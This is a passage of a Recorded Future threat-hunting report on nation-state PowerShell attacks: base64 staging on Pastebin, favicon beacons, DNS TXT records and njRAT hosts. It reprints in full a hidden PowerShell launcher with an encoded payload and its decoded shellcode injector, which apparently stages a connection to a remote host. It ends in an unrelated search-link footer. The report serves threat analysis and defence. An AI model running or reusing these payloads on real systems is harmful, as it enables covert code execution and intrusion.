A Hunting Story - Recorded Future
RECORDED FUTURE THREAT INTELLIGENCE REPORT
A Hunting Story:
What's Hiding in PowerShell Scripts and Pastebin Code? Saudi Actors
By Levi Gundert
Vice President of Intelligence and Strategy
Summary
>> U.S. law enforcement recently released a flash bulletin about nation-state adversaries attacking public/private entities using specific TTPs (spearphishing, PowerShell scripts, base64 encoding, etc.).
>> A hunt for similar TTPs in Recorded Future produces a wealth of recent intelligence, specifically around PowerShell use and base64 string encoding found in PowerShell scripts and code hosted on Pastebin.
>> Pastebin is routinely used to stage code containing encoded strings that convert to malware, and mainstream business resources like Amazon's AWS and Microsoft's Office 365 are equally likely future destinations for staging malicious strings used in targeted attacks
>> The Arabic speaking actor operating the njRAT instance connecting to osaam2014.no-ip[.]biz may be the same actor operating the njRAT instance that previously connected to htomshi.zapto[.]org. Recorded Future proprietary intelligence indicates with a high degree of confidence that both actors are located in Saudi Arabia.
>> Hunting in Farsight Security's passive DNS data produces useful DNS TXT record examples, specifically base64 encoded text records, which may be used in PowerShell Empire scripts.
>> Enterprise employees fetch favicon.ico files (web browser address bar tab icons) from mainstream websites thousands to millions of times daily making detection of rogue .ico files particularly tricky.
>> Since 2014 there have been over 550 PowerShell command references in code repositories, over 2,800 references in paste sites, and over 3,000 social media references collected and analyzed by Recorded Future.
>> Defenders are at a disadvantage for detecting/preventing future derivative targeted attacks without Recorded Future and associated threat intelligence.
Introduction
This is a hunting story. Like all good hunting stories, this one begins with the threat of danger; an unsuspecting victim attacked by an elusive adversary(s). On November 17, 2016, the attack details arrive via a U.S. law enforcement bulletin.
This adversary is a nation-state ("APT" is parlance for contractors/employees who receive a foreign intelligence service paycheck) and U.S. law enforcement enumerates multiple artifacts and observables, including the following:
>> Spear phishing email containing Microsoft Office document or link to a zip archive. >> First-stage implant and second-stage in-memory-only PNG wrapped script >> .bat file initiated via PowerShell script. >> PowerShell script beacons to URI + /favicon.ico with varying periodicity. >> Successful PowerShell connection to the C2 server returns HTML which contains a base64 string. >> Base64 string is unpacked and passed to a PowerShell Invoke-Expression call.
3. Fetch PNG image containing embedded .bat script and launch via Powershell
TARGET NETWORKS
1. Email containing MS Office document
(or) email containing Nation State Adversaries link to zip file
2. First stage implant
6. Base64 string unpacked and passed to Invoke-Expression call
4. PowerShell script obtains Base64 string from C2 Nation-state adversaries at work.
5. PowerShell script beacons to URL + /favicon.ico
Recorded Future Threat Intelligence Report
2
Now you know, defender, that your first step is internal telemetry correlation (where possible) to identify previously undetected (hopefully this is not the case) intrusions. In addition to internal hunting, you should consider hunting for external intelligence that will help you identify future evolutions in these techniques and tool sets. To measurably decrease operational risk through savvy policies and security control improvements is no small matter.
Further, this hunt must be productive to show your leaders that the unknown, often hiding in plain sight, can, with a little inspiration and motivation, hurt you and result in loss. So, grab your proverbial flashlight and let Recorded Future and our partners quickly lead the way toward illuminating the adversarial possibilities.
Power to the Shell
As we approach the close of 2016, email is, unfortunately, still a very viable initial exploit channel. To avoid creating a complete tome here, let's skip email and malicious attachments, and focus our hunt on the post network breach adversarial tools and techniques that continue to experience broad success, specifically PowerShell, base64 encoding, favicons (web browser address bar tab icons), and DNS TXT records.
Are you aware that PowerShell is celebrating its tenth anniversary? PowerShell's importance continues to increase with every successive release of the Windows operating system, and system administrators everywhere find it an invaluable resource for granular host control at scale. Naturally, adversaries of all stripes find PowerShell equally appealing as a swiss army knife for accomplishing malicious objectives. The increase in PowerShell interest is approximated by searching for "PowerShell" and "Exploit" references in paste sites and code repositories over the past four years. Clearly 2016 is experiencing a surge in references as actors consider the possibilities.
Recorded Future timeline illustrating the recent increase in "PowerShell" and "exploit" references split between code repositories and paste sites.
Now our query criteria may be too crude an approximation resulting in too much noise. Fortunately, it's relatively trivial to identify an example PowerShell attack script (if the paste has since been deleted, don't worry, Recorded Future cached it) to narrow our criteria.
Recorded Future Threat Intelligence Report
3
powershell.exe -nop -w hidden -c `if([IntPtr]::Size -eq 4)
{$b=$env:windir+''\sysnative\WindowsPowerShell\v1.0\powershell.exe''} else{$b=''powershell.exe''};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=''-nop -w hidden -c $s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String(`'''H4sIAA6wI1gCA7VW4W6bSBD+3Up9B1RZMlYdGydOLhcp0gEGG4pd uxhI4loVgTVsvLAUlhin13e/AZvUbZNTetKtbLG7M7Mz883Mzq7y2GOYxtztIOK+vnn9auqmbsTxjbBXqLFr tbnGw1S/um+9egXERvBZuo+4S45fiEkyoJGL4+XFhZynKYrZbt0ZIiZmGYpuCUYZ3+L+5pwQpejow+0d8hj3 lWt87gwJvXXJnm0ru16IuCMx9kuaQT23NKljJgQzvvnpU7O1OOotO8qX3CUZ3zS3GUNRxyek2eK+tUqF822C+OYYeynN6Ip1HByfHHesOHNXaAKn3aMxYiH1s2YL3IBfiliextzOofKEHZ1vwnSaUk/0/RRlwN7R4nu6Rnwjzglpc3/xi736j3nMcISAzlBKExOl99hDWWfkxj5BH9FqyU/Qpvb6pUL8oRBwTVnaakM4nrJzTP2coJ1os/ WrpXUMWzAe4wj+f3vz+s3rVR14jJTJNhkdBh9mrxbVHIGZ/JRmuGK95IQ2NwZ9LqPpFpaNeZqj1pJblPgvlkuuUVhh1H5evlczA2s2lPyHGCVZOAyBtLAp9pcguo9Q4/YcpcZJIc4zvaI/n3EDtMIxGmxjN8JenVT8U/ CjFUGV252abQJG8s09AfkDRFDgshLPNrf4VUyJMHuUlXJMfJSKHoQwA6sguq0fjdmFiG9q8RhFgNlu3YRorCCVUc29T99trb1cA1NTJm6WtblpDrXktTkTuQT5bU6MM7wniTmj1bT53dxxThj23IzVxy1bP+O51yvTOGNp7 kE4AYO5mSAPu6SEpM2NsI+krYmDWn/zSUBklxAcB3DSPQQEdkogTFYmSQqmVgnR6piIaVFCUAQ8VXGrxA2gl Pf1UGWVGyC/+ZylddrvcrzEpgblwE4IuEkoa3M2ThncFSXOh1n238w5uC1+MExO0T5UfF1UC2nLyjpokJmmIjco03YPWQVQygAcNaWR5GborG+yFKDj33YVPDidDuiDCENRP85sybTsG23s68TUmHmtYMMKQw33tADWW0 sJpkxI3s/nI90cjMR0UIQrUcs0ZSRtZz1J9Eb4D1uXLAvksGzM7gpN9KUouAqu5Y02Da80UCQbgRbAV9JCT xJuhEASVNkwpVDBghiYs9Gs37vRuudEwg+mZooj51Hfox6l3x9dFXNxMtbFUP3gq71jtZJfl/I366ExUKq1V65n15mCFdCjqNczO0SOnUiOot7M7EQL3m2CmW10+2oowb6GCyMxuzB6PcCBzc3b0xPXOU1uI1sAjBxTi 0PTW8nzkRdJ3a5t9SYaRurcWQvFRhGKrT0BGXpmx1FcwipOu/aZSMtZMZb7G+NOzMfzmeissb6x4tHGyCTA YjL2yNw6pgNLiM7sfrQqSojEQbeHglE5Mx7CsTcfgw0gZ09c8KOSMY1AHH+RlUqXKs0tAc7MmW3c3Xd7FtaL iL6/ErB+7tCVQ3QaDMYQ60jvD6kys4mex/YwpteVePdPW8Orn3wBX43Z9TUCXyFePUW56z6czOSzc0kvzo0Nc3UH5OaOk4BPkS5ADigK2CCKM/BLzwleW++sx/PXPThTi2P4F/B34XxICbGy6Z0VnSmJq/dr3y08KGRZ3YzM/ IZmI8iFQWmDQMLrzeby8m1ZJlAnDXp6+vkg55/rdmM3zUKXQC1AF6svKZWm6r4nTSkuJXi+fJSsURojAt0c+n1d2CIh1Cv7Yt28oC3vmuUSLikLpifHT85a3CNj63vHrLcuLm7ATrgl9uXbMVAcsLAtFCeCAK1PKPoCuP py92SabPn6tHbZPSuIDjSQSkOrvDwa5NRRToe9/xXA/aUVwsd/AYDf9/6F+iJQhfbO9V+2f9z4LXh/13nHxQwY Tbh0Cdq9DJ7FYJ8vB8+qfXggG1b7Ub5tP+TsaAIPrn8AnC28WUkLAAA=''''));IEX
(New-Object IO.StreamReader(New-Object pression.GzipStream($s,
[pressionMode]::Decompress))).ReadToEnd();'';$s. UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=''Hidden'';$s. CreateNoWindow=$true;$p=
[System.Diagnostics.Process]::Start($s);'
The above script is calling PowerShell with attributes designed to help bypass an existing PowerShell Execution Policy. The base64 encoded text decodes to the following (if you're replicating results and short on time try @JohnLaTwC's psx.py script or GCHQ's new CyberChef):
Recorded Future Threat Intelligence Report
4
function bDm {
Param ($h1xFnaU, $zPJXv)
$g_Bvm = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(`\\')[-1].Equals(`System.dll') }).GetType(`Microsoft.Win32.UnsafeNativeMethods')
return $g_Bvm.GetMethod(`GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($g_Bvm.GetMethod(`GetModuleHandle')).Invoke($null, @($h1xFnaU)))), $zPJXv))
}
function ieENypH {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $xUhm,
[Parameter(Position = 1)] [Type] $sGBdznepshGh = [Void]
)
$b8erL3xATsJh = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(`ReflectedDelegate')), [System.Reflection. Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(`InMemoryModule', $false). DefineType(`MyDelegateType', `Class, Public, Sealed, AnsiClass, AutoClass', [System. MulticastDelegate])
$b8erL3xATsJh.DefineConstructor(`RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $xUhm).SetImplementationFlags(`Runtime, Managed')
$b8erL3xATsJh.DefineMethod(`Invoke', `Public, HideBySig, NewSlot, Virtual', $sGBdznepshGh, $xUhm).SetImplementationFlags(`Runtime, Managed')
return $b8erL3xATsJh.CreateType()
}
[Byte[]]$lQIFeag = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhF OdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////1 1IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6AoAAAAxMC4wLjAuMTQAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1egHAAAALzhMcTM0AEiJwVNaQVhNMclTSLgA MqCEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VIifFTWk0xwE 0xyVNTScfCLQYYe//VhcB1EEj/z3QC68BJx8LwtaJW/9VTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VI k1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSuZosHSAHDhcB10lhYww==")
$o55_ = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bDm kernel32.dll VirtualAlloc), (ieENypH @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $lQIFeag.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($lQIFeag, 0, $o55_, $lQIFeag.length)
$l5WE5G1 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( (bDm kernel32.dll CreateThread), (ieENypH @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$o55_,[IntPtr]::Zero,0,[IntPt r]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bDm kernel32. dll WaitForSingleObject), (ieENypH @([IntPtr], [Int32]))).Invoke($l5WE5G1,0xffffffff) | Out-Null
Recorded Future Threat Intelligence Report
5
................
................
In order to avoid copyright disputes, this page is only a partial summary.
To fulfill the demand for quickly locating and searching documents.
It is intelligent file search solution for home and business.
Related download
- pingone office 365 deployment ping identity
- pingone office 365 configuration guide
- decode base64 string to pdf file
- powershell convert base64 to pdf
- 1 2 https 200y3w
- a hunting story recorded future
- powershell for pen tester post exploitation cheat sheet
- flare on 7 challenge 11 rabbit hole fireeye
- the rise and fall of amsi black hat briefings
- investigating powershell attacks black hat
Related searches
- a narrative story for kids
- how to cite a short story mla
- how to write a short story template
- miami dade county recorded documents
- a letter to my future self
- write a letter to the future me
- starting a short story examples
- how to write a short story outline
- a short story for kids
- elements of a short story pdf
- a short story pdf
- writing a life story format